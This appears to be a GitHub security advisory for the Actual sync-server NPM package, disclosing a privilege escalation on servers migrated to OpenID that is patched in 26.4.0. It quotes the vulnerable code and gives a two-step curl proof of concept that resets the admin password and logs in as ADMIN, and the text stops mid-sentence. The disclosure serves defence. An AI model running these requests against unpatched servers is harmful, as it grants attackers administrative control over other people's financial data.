GitHub Security Advisory: GHSA-prp4-2f49-fcgp
Package: @actual-app/sync-server (NPM)
Severity: HIGH (CVSS 8.8)
CWE: CWE-284: Improper Access Control, CWE-862: Missing Authorization
Vulnerable versions: < 26.4.0
Patched in: 26.4.0

Summary: Actual has Privilege Escalation via 'change-password' Endpoint on OpenID-Migrated Servers

Details:
### Summary

Any authenticated user (including `BASIC` role) can escalate to `ADMIN` on servers migrated from password authentication to OpenID Connect. Three weaknesses combine: `POST /account/change-password` has no authorization check, allowing any session to overwrite the password hash; the inactive password `auth` row is never removed on migration; and the login endpoint accepts a client-supplied `loginMethod` that bypasses the server's active auth configuration. Together these allow an attacker to set a known password and authenticate as the anonymous admin account created during the multiuser migration.

---

### Details

**`packages/sync-server/src/app-account.js:120-132`** — the `/account/change-password` route validates only that a session exists. No admin role check is performed

```js
app.post('/change-password', (req, res) => {
  const session = validateSession(req, res); // only checks token validity
  if (!session) return;
  const { error } = changePassword(req.body.password); // no isAdmin() check
```

**`packages/sync-server/src/accounts/password.js:113-125`** — `changePassword()` updates the hash with no current-password confirmation:

```js
export function changePassword(newPassword) {
  accountDb.mutate("UPDATE auth SET extra_data = ? WHERE method = 'password'", [hashed]);
}
```

**`packages/sync-server/src/accounts/password.js:56-62`** — `loginWithPassword()` always authenticates as the user with `user_name = ''`, which is created by the multiuser migration with `role = 'ADMIN'`:

```js
const sessionRow = accountDb.first(
  'SELECT * FROM sessions WHERE auth_method = ?', ['password']
);
```

**`packages/sync-server/src/account-db.js:56-63`** — a client can force the `password` login method regardless of server configuration by sending `loginMethod` in the request body:

```js
if (req.body.loginMethod && config.get('allowedLoginMethods').includes(req.body.loginMethod)) {
  return req.body.loginMethod;
}
```

When a server is migrated from password → OpenID via `enableOpenID()`, the password row is set to `active = 0` but **never deleted**, leaving it available for exploitation.

---

### PoC

**Prerequisites:** Server originally bootstrapped with password auth, then switched to OpenID. Default `allowedLoginMethods` configuration (includes `password`). Attacker has any valid OpenID session token (any role).

```bash
# Step 1 — overwrite the password hash using a BASIC-role session
curl -s -X POST https://<host>/account/change-password \
  -H "Content-Type: application/json" \
  -H "X-Actual-Token: <any_valid_session_token>" \
  -d '{"password": "attacker123"}'
# → {"status":"ok","data":{}}

# Step 2 — log in via password method to obtain an ADMIN session
curl -s -X POST https://<host>/account/login \
  -H "Content-Type: application/json" \
  -d '{"loginMethod": "password", "password": "attacker123"}'
# → {"status":"ok","data":{"token":"<admin_token>"}}
```

The returned token belongs to the `user_name = ''` admin account (creat